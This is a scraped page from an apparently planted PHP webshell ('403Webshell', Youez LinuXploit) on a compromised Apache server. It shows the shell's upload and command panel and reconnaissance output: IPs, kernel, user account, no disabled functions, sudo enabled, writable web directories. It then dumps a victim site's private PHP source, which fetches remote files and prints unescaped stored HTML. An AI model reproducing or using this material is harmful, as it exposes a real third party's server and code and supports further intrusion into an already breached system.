403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/api/previewContentPages.php
<?
include($_SERVER['DOCUMENT_ROOT']."/lib/xinc.php");

$post = $_POST['post'];
$post = ($post * 1);

$apiKey = $_POST['api_key'];
$apiKey = ($apiKey * 1);

if($apiKey > 0 && $post > 0)
{
    $validPost = $db->query("
								SELECT
										*
								FROM lc2content.posts
								WHERE
										api_key = '$apiKey'
                                    AND
                                        post = '$post'
							");
}
if($post > 0 && count($validPost) > 0)
{
	$postData = $db->query("
								SELECT
										*
								FROM lc2content.posts
								WHERE
										post = '$post'
							");
	if(count($postData) > 0)
	{
        $postHTML = $postData[0]['html'];
		$postHTML = base64_decode($postHTML);
		$postHTML = urldecode($postHTML);
		$postHTML = htmlspecialchars_decode($postHTML);
	}
	$postImage = $db->query("
								SELECT
										f.*
								FROM lc2content.post_images AS pi
                                LEFT JOIN lc2content.files AS f
                                    ON f.file = pi.image
								WHERE
										pi.post = '$post'
                                ORDER BY pi.image DESC LIMIT 1
							");
    if(count($postImage) > 0)
    {
        $imageFile = $postImage[0]['file'];
        $imageFilename = $postImage[0]['fullname'];
        $surfImage = "http://surfcrm.com/editor/images/posts/".$imageFilename;

        $siteImage = $_SERVER['DOCUMENT_ROOT']."/images/posts/".$imageFilename;

        if(!file_exists($siteImage))
        {
            $surfImage = file_get_contents($surfImage);
            file_put_contents($siteImage, $surfImage);

            $thumbnails = array(32, 64, 128, 256, 512);
            for($i=0; $i<count($thumbnails); $i++)
            {
                $imageName = $postImage[0]['filename'];
                $imageExt = $postImage[0]['extension'];
                $surfThumb = "http://surfcrm.com/editor/images/posts/".$imageFile."/".$imageName."_".$thumbnails[$i].".".$imageExt;
                $siteThumb = $_SERVER['DOCUMENT_ROOT']."/images/posts/".$imageName."_".$thumbnails[$i].".".$imageExt;
                $surfThumb = file_get_contents($surfThumb);
                file_put_contents($siteThumb, $surfThumb);
            }
        }
    }
}
else
{
    return false;
    die();
    exit;
}
?>
<table width="100%" border="1">
    <tr>
        <td style="max-width:25%;"></td>
        <td style="width:50%; min-width:300px; height:20vh;
            background-image:url('/images/posts/<?=$postImage[0]['fullname']?>');
            background-size:100% auto;
            background-position: center center;
            ">
        </td>
        <td style="max-width:25%;"></td>
    </tr>
    <tr>
		<td style="max-width:25%;">

		</td>
		<td style="width:50%; min-width:300px;">
			<?=$postHTML?>
		</td>
		<td style="max-width:25%;">

		</td>
	</tr>
</table>
<?
include($_SERVER['DOCUMENT_ROOT']."/layout/pbody.php"); 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit